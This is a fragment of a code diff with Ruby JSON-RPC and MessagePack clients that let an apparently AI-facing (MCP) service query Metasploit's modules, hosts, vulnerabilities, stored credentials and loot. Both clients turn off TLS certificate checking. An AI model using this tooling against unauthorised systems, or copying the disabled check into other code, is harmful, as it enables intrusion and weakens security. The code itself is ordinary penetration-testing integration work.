# @param port [Integer] Metasploit RPC port
# @param endpoint [String] API endpoint path (default: DEFAULT_ENDPOINT)
# @param token [String] Bearer authentication token
# @param ssl [Boolean] Use SSL (default: true)
def initialize(host:, port:, endpoint: DEFAULT_ENDPOINT, token:, ssl: true)
@host = host
@port = port
@endpoint = endpoint
@token = token
@request_id = 0
@http = nil
@ssl = ssl
end
# No-op for JSON-RPC: authentication uses a pre-configured bearer token.
# This method exists so that JsonRpcClient satisfies the same interface as
# MessagePackClient, allowing the Client facade to delegate uniformly.
#
# @param _user [String] Ignored
# @param _password [String] Ignored
# @return [String] The existing token
def authenticate(_user, _password)
@token
end
# Call Metasploit API method using JSON-RPC 2.0 format
# @param method [String] API method name
# @param args [Array] Arguments to pass to the method (must be an array)
# @return [Hash] API response
# @raise [AuthenticationError] If token is invalid
# @raise [APIError] If API returns error
# @raise [ConnectionError] If connection fails
# @raise [ArgumentError] If args is not an array
def call_api(method, args = [])
raise ArgumentError, "args must be an Array, got #{args.class}" unless args.is_a?(Array)
@request_id += 1
# Build JSON-RPC 2.0 request as a hash
request_body = {
jsonrpc: '2.0',
method: method,
params: args,
id: @request_id
}
# Send HTTP request
response = send_request(request_body)
# Check for JSON-RPC error
if response['error']
error_msg = response['error']['message'] || 'Unknown error'
raise APIError, error_msg
end
response['result']
end
# Search for Metasploit modules
# @param query [String] Search query
# @return [Array<Hash>] Module metadata
def search_modules(query)
call_api('module.search', [query])
end
# Get module information
# @param type [String] Module type ('exploit', 'auxiliary', 'post', etc.)
# @param name [String] Module name
# @return [Hash] Module information
def module_info(type, name)
call_api('module.info', [type, name])
end
# Get hosts from database
# @param options [Hash] Query options (workspace, limit, offset, etc.)
# @return [Hash] Response with 'hosts' array
def db_hosts(options = {})
call_api('db.hosts', [options])
end
# Get services from database
# @param options [Hash] Query options
# @return [Hash] Response with 'services' array
def db_services(options = {})
call_api('db.services', [options])
end
# Get vulnerabilities from database
# @param options [Hash] Query options
# @return [Hash] Response with 'vulns' array
def db_vulns(options = {})
call_api('db.vulns', [options])
end
# Get notes from database
# @param options [Hash] Query options
# @return [Hash] Response with 'notes' array
def db_notes(options = {})
call_api('db.notes', [options])
end
# Get credentials from database
# @param options [Hash] Query options
# @return [Hash] Response with 'creds' array
def db_creds(options = {})
call_api('db.creds', [options])
end
# Get loot from database
# @param options [Hash] Query options
# @return [Hash] Response with 'loots' array
def db_loot(options = {})
call_api('db.loots', [options])
end
# Shutdown client
def shutdown
@http&.finish if @http&.started?
@http = nil
end
private
# Send HTTP POST request with JSON-RPC payload
# @param request_body [Hash] JSON-RPC request body as a hash
# @return [Hash] Parsed response
# @raise [ConnectionError] If connection fails
# @raise [AuthenticationError] If token is invalid
def send_request(request_body)
# Create HTTP client if needed
unless @http
@http = Net::HTTP.new(@host, @port)
@http.use_ssl = @ssl
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @ssl
end
# Create POST request
request = Net::HTTP::Post.new(@endpoint)
request['Content-Type'] = 'application/json'
request['Authorization'] = "Bearer #{@token}"
request.body = request_body.to_json
dlog({
message: 'JSON-RPC request',
context: { method: request.method, endpoint: @endpoint, body: request_body }
}, LOG_SOURCE, LOG_DEBUG)
# Send request and parse response
begin
response = @http.request(request)
parsed = case response.code.to_i
when 200
JSON.parse(response.body)
when 401
raise AuthenticationError, 'Invalid authentication token'
when 500
error_data = JSON.parse(response.body) rescue { 'error' => { 'message' => 'Internal server error' } }
error_msg = error_data.dig('error', 'message') || 'Internal server error'
raise APIError, error_msg
else
raise ConnectionError, "HTTP #{response.code}: #{response.message}"
end
dlog({
message: 'JSON-RPC response',
context: { status: response.code, body: parsed }
}, LOG_SOURCE, LOG_DEBUG)
parsed
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
raise ConnectionError, "Cannot connect to Metasploit RPC: #{e.message}"
rescue SocketError => e
raise ConnectionError, "Network error: #{e.message}"
rescue Timeout::Error => e
raise ConnectionError, "Request timeout: #{e.message}"
rescue EOFError => e
raise ConnectionError, "Empty response from Metasploit RPC: #{e.message}"
end
end
end
end
end
@@ -0,0 +1,262 @@
# frozen_string_literal: true
require 'net/http'
require 'msgpack'
module Msf::MCP
module Metasploit
# MessagePack RPC client for Metasploit Framework
# Implements authentication and API calls using MessagePack serialization
class MessagePackClient
DEFAULT_ENDPOINT = '/api/'
# Initialize MessagePack client
# @param host [String] Metasploit RPC host
# @param port [Integer] Metasploit RPC port
# @param endpoint [String] API endpoint path (default: DEFAULT_ENDPOINT)
# @param ssl [Boolean] Use SSL (default: true)
def initialize(host:, port:, endpoint: DEFAULT_ENDPOINT, ssl: true)
@host = host
@port = port
@endpoint = endpoint
@token = nil
@http = nil
@user = nil
@password = nil
@retry_count = 0
@max_retries = 2
@ssl = ssl
end
# Authenticate with Metasploit RPC
# @param user [String] Username
# @param password [String] Password
# @return [String] The resulting token if authentication successful
# @raise [AuthenticationError] If authentication fails
def authenticate(user, password)
# Store credentials for automatic re-authentication
@user = user
@password = password
# Send authentication request directly (bypass retry logic)
request_array = ['auth.login', user, password]
response = send_request(request_array)
# Real Metasploit API returns string keys
if response['result'] == 'success' && response['token']
@token = response['token']
elsif response['error']
raise AuthenticationError, response['error']
else
raise AuthenticationError, 'Authentication failed'
end
end
# Call Metasploit RPC API method
# @param method [String] API method name (e.g., 'module.search')
# @param args [Array] Arguments to pass to the method (must be an array)
# @return [Hash, Array] API response
# @raise [AuthenticationError] If authentication fails
# @raise [APIError] If API returns an error
# @raise [ConnectionError] If connection fails
# @raise [ArgumentError] If args is not an array
def call_api(method, args = [])
raise ArgumentError, "args must be an Array, got #{args.class}" unless args.is_a?(Array)
begin
raise AuthenticationError, 'Not authenticated' unless @token
# Build request array: [method, token, *args]
request_array = [method, @token, *args]
# Send HTTP request
send_request(request_array)
rescue AuthenticationError => e
# It is not possible to reauthenticate if we don't have credentials stored
raise unless @user && @password
# If reauthentication succeeded but the token is still invalid, we should not retry indefinitely
raise unless @retry_count < @max_retries
@retry_count += 1
@token = nil
begin
wlog({ message: "#{method}': #{e.message}. Attempting to re-authenticate (#{@retry_count}/#{@max_retries})" },
LOG_SOURCE, LOG_WARN)
authenticate(@user, @password)
rescue AuthenticationError => auth_e
wlog({ message: "Re-authentication failed: #{auth_e.message}" },
LOG_SOURCE, LOG_WARN)
if @retry_count < @max_retries
@retry_count += 1
@token = nil
retry
end
raise AuthenticationError, "Unable to authenticate after #{@retry_count} attempts: #{auth_e.message}"
end
# Retry the original request with new token
retry
end
rescue Msf::MCP::Error => e
elog({ message: 'MessagePack API call error', context: { error: e.message } },
LOG_SOURCE, LOG_ERROR)
raise
ensure
@retry_count = 0
end
# Search for Metasploit modules
# @param query [String] Search query
# @return [Array<Hash>] Module metadata
def search_modules(query)
call_api('module.search', [query])
end
# Get module information
# @param type [String] Module type ('exploit', 'auxiliary', 'post', etc.)
# @param name [String] Module name
# @return [Hash] Module information
def module_info(type, name)
call_api('module.info', [type, name])
end
# Get hosts from database
# @param options [Hash] Query options (workspace, limit, offset, etc.)
# @return [Hash] Response with 'hosts' array
def db_hosts(options = {})
call_api('db.hosts', [options])
end
# Get services from database
# @param options [Hash] Query options
# @return [Hash] Response with 'services' array
def db_services(options = {})
call_api('db.services', [options])
end
# Get vulnerabilities from database
# @param options [Hash] Query options
# @return [Hash] Response with 'vulns' array
def db_vulns(options = {})
call_api('db.vulns', [options])
end
# Get notes from database
# @param options [Hash] Query options
# @return [Hash] Response with 'notes' array
def db_notes(options = {})
call_api('db.notes', [options])
end
# Get credentials from database
# @param options [Hash] Query options
# @return [Hash] Response with 'creds' array
def db_creds(options = {})
call_api('db.creds', [options])
end
# Get loot from database
# @param options [Hash] Query options
# @return [Hash] Response with 'loots' array
def db_loot(options = {})
call_api('db.loots', [options])
end
# Shutdown client and cleanup
def shutdown
@token = nil
@user = nil
@password = nil
@http&.finish if @http&.started?
@http = nil
end
private
# Send HTTP POST request with MessagePack payload
# @param request_array [Array] Request data
# @return [Hash, Array] Parsed response
# @raise [AuthenticationError] If the token is not valid
# @raise [APIError] If the Metasploit API returns an error
# @raise [ConnectionError] If connection fails
def send_request(request_array)
# Create HTTP client if needed
unless @http
@http = Net::HTTP.new(@host, @port)
@http.use_ssl = @ssl
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @ssl
end
# Encode request with MessagePack
request_body = request_array.to_msgpack
# Create POST request
request = Net::HTTP::Post.new(@endpoint)
request['Content-Type'] = 'binary/message-pack'
request.body = request_body
dlog({
message: 'MessagePack request',
context: { method: request.method, endpoint: @endpoint, body: sanitize_request_array(request_array) }
}, LOG_SOURCE, LOG_DEBUG)
# Send request and parse response
begin
response = @http.request(request)
parsed = case response.code.to_i
when 200
MessagePack.unpack(response.body)
when 401
error_data = MessagePack.unpack(response.body) rescue { 'error_message' => 'Authentication error' }
error_msg = error_data['error_message'] || error_data['error_string'] || 'Authentication error'
raise AuthenticationError, error_msg
when 500
error_data = MessagePack.unpack(response.body) rescue { 'error_message' => 'Internal server error' }
error_msg = error_data['error_message'] || error_data['error_string'] || 'Internal server error'
raise APIError, error_msg
else
raise ConnectionError, "HTTP #{response.code}: #{response.message}"
end
dlog({
message: 'MessagePack response',
context: { status: response.code, body: parsed }
}, LOG_SOURCE, LOG_DEBUG)
parsed
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
raise ConnectionError, "Cannot connect to Metasploit RPC: #{e.message}"
rescue SocketError => e
raise ConnectionError, "Network error: #{e.message}"
rescue Timeout::Error => e
raise ConnectionError, "Request timeout: #{e.message}"
rescue EOFError => e
raise ConnectionError, "Empty response from Metasploit RPC: #{e.message}"
end
end
REDACTED = '[REDACTED]'
# Sanitize request array for logging by redacting sensitive positional values
#
# For auth.login requests: redacts the password (last element)
# For API calls: redacts the token (second element)
#
# @param request_array [Array] Raw request array
# @return [Array] Sanitized copy with sensitive values redacted
def sanitize_request_array(request_array)
sanitized = request_array.dup
if sanitized[0] == 'auth.login'
sanitized[-1] = REDACTED
elsif sanitized.length > 1
sanitized[1] = REDACTED
end
sanitized
end
end
end
end

Some files were not shown because too many files have changed in this diff Show More